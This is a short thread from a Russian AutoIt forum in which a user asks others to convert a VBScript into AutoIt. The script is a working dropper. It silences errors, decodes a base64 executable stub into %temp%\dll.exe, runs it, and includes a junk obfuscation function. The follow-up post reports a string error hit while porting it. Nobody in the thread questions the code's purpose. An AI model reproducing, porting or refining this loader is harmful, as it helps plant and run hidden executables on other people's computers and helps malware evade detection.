Автор Тема: VBS to Au3  (Прочитано 123 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Mute [?]

  • Новичок
  • *
  • Сообщений: 2
  • Репутация: 0
  • Пол: Мужской
    • Награды
  • Версия AutoIt: 3.3.14.0
VBS to Au3
« Создано: Ноябрь 13, 2017, 01:39:12 »
Ребят помогите сконвертить VBS скрипт:
on error resume next
dim medo,sea,medoff
dim maasr
set helper = createobject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.dataType="bin.base64"
medo.text="TVqQAAMAAAAEAAAA=="
set sea= CreateObject("ADODB.Stream")
sea.Type=1
sea.Open
sea.Write medo.nodeTypedValue
sea.SavetoFile maasr & "\dll.exe",2
helper.run(maasr & "\dll.exe")
Function gggggggggggggggg ()
gggggggggggggggg = chr(104) & chr(101) & chr(114) & chr(111)
End function

Русское сообщество AutoIt

VBS to Au3
« Отправлен: Ноябрь 13, 2017, 01:39:12 »

Оффлайн Mute [?]

  • Новичок
  • *
  • Сообщений: 2

  • Автор темы
  • Репутация: 0
  • Пол: Мужской
    • Награды
  • Версия AutoIt: 3.3.14.0
Re: VBS to Au3
« Ответ #1, Отправлен: Ноябрь 13, 2017, 12:28:09 »
Если делать через переменную $Code, то ругается на строчку $Code &= 'medo.text="TVqQAAMAAAAEAAAA=="' - Unterminated string

Русское сообщество AutoIt

Re: VBS to Au3
« Ответ #1 Отправлен: Ноябрь 13, 2017, 12:28:09 »

 

Похожие темы

  Тема / Автор Ответов Последний ответ
3 Ответов
3723 Просмотров
Последний ответ Январь 21, 2011, 01:54:11
от Garrett
16 Ответов
8249 Просмотров
Последний ответ Март 01, 2011, 05:24:04
от madmasles
7 Ответов
6729 Просмотров
Последний ответ Июнь 08, 2011, 16:03:53
от CreatoR
5 Ответов
3678 Просмотров
Последний ответ Июнь 28, 2014, 06:40:01
от madmasles
1 Ответов
2699 Просмотров
Последний ответ Июнь 21, 2012, 22:43:55
от Garrett
6 Ответов
3584 Просмотров
Последний ответ Январь 24, 2013, 11:48:08
от beliy
5 Ответов
2137 Просмотров
Последний ответ Июнь 04, 2016, 19:10:57
от k790
5 Ответов
1992 Просмотров
Последний ответ Май 28, 2015, 00:24:20
от madmasles
1 Ответов
5399 Просмотров
Последний ответ Июнь 18, 2015, 11:12:32
от Yashied
2 Ответов
781 Просмотров
Последний ответ Август 26, 2016, 14:18:47
от Svet89